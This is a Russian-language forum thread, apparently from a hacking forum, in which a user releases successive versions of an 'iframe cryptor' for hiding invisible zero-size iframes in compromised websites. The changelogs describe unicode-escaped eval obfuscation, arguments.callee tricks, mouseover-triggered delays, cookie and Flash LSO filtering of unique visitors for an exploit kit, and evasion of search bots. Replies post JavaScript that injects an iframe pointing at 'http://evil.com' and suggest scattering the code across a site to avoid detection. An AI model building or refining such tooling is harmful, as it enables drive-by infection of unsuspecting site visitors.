damagelab iframe cryptor

GOONER

(L3) cache
Пользователь
Регистрация
25.10.2009
Сообщения
182
Реакции
1
damagelab iframe cryptor

Версия 1.0

Собственно название говорит само за себя ...
[!]2 способа сокрытия (первый слой идентичен, отличаються 2-м)
[!]параметры ифрейма - width="0" height="0" frameborder="0"

Скачать версию 1.0

Версия 1.1

v 1.1 Changelog:

[!]один способ сокрытия фрейма
[!]фрейм формируеться с помощью DOM
[ + ]добавлена функция разбиения строки на части
[ + ]теперь в 2-х слоях используеться трик с arguments.callee.toString()
[ + ]скрипт срабатывает после события onMouseOver с тайм-аутом 3-7 сек
[ + ]onMouseOver, document, eval, параметры фрейма итд предсавлены в виде \u006f\u006e\....
[ + ]небольшие изменения по коду

Версия 1.1

pass:xss.pro/

Версия 1.2b

v 1.2b Changelog:

[!]совершенно новый подход
[ + ]позволяет отсеивать неуников на уровне ифрейма, чем значительно снижает нагрузку на базу данных вашей связки
[ + ]использование LSO и обычных cookies
[ + ]редирект неуников
[ + ]значительные изменения по коду

Как создать билд версии 1.2b?
-правим под себя config.inc.php
-в скрипте вбиваем линк для уников, для неуников и название .js файла
-жмем Make build!
- получаем 2 файла в папке build + js в textarea
-собираем swf файл:
-качаем FlashDevelop
-Project=>New project=>AS3 Project в поле Name вбиваем значение переменной $swfname из config.inc.php
-вставляем сгенерированный ActionScript
-ищем рандомное название класса, например kWgTrC2y public dynamic class
-переименовываем Main.as в нашем проекте на kWgTrC2y.as
-Project=>Properties=>Dimensions 1x1 px
-ctrl+enter и в папке bin находим свою флешку

Версия 1.2b


pass:xss.pro/
 

Вложения

  • dlifrc_1.1.rar
    3.4 КБ · Просмотры: 77
  • dlifrc12b.rar
    8.2 КБ · Просмотры: 72
Балин... ну когда же народ начнет DOM юзать чтоб обламывать поисковые боты???
В первом слое используеться DOM. Или я чего-то недопонял ??(тогда попрошу пример) :bang:
 
var frame=document.createElement('iframe');
frame.setAttribute('src', 'http://evil.com');
document.body.appendChild(frame);
к сожалению так не работает, или работает но не так :)
А вот так, все гуд:
var iframe = document.createElement('iframe');
iframe.src = 'http://evil.com';
var body = document.getElementsByTagName('body');
body[0].appendChild(iframe);
 
к сожалению так не работает, или работает но не так smile.gif
Ну я чисто символически написал :)
Необходимо так заныкать фрейм чтоб его хотя бы простой заменой document.write на alert.
Хром и ФФ показывают документ уже после днамической обработки яваскриптами, но ведь можно таймер поставить и еще как то усложнить реверс кода и палевность домена :)
 
чтоб его хотя бы простой заменой document.write на alert
Да поэтому во втором способе я использовал трюк с arguments.callee.tostring()
Но есть и другая сторона-чем больше всяких трюков, тем больше код спрятанного фрейма , что не есть хорошо....
 
тем больше код спрятанного фрейма
Разбей код на несколько частей которые можно распихать по сайту и которые бы не привлекали сами по себе в отдельности внимание.
 
По-поводу размера. Тут один наш общи хороший знакомый сказал мне сколько весит его ифрэйм со всеми проверками. Так что ваши 40кб максимум - это мелочи.
 
GOONER У него ифрэймер на перле. Подружить как-бы не проблема. Но в идеале все на перле реализовать. Если за - стукни в асю. Выдам тебе билд его ифрэймера.
 
Обновил первый пост, качаем версию 1.1, высказываем пожелания ...
ПС:С целью усложнения реверса и отсечения поисковых ботов была проделана кое-какая работа(смотрим changelog)
 
Обновил первый пост, качаем версию 1.2b.
Тестируем, говорим о найденных багах, буду рад услышать критику, пожелания..
P.S. Если возникнут вопросы или трудности-стучите gooner@dlab.org.in
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх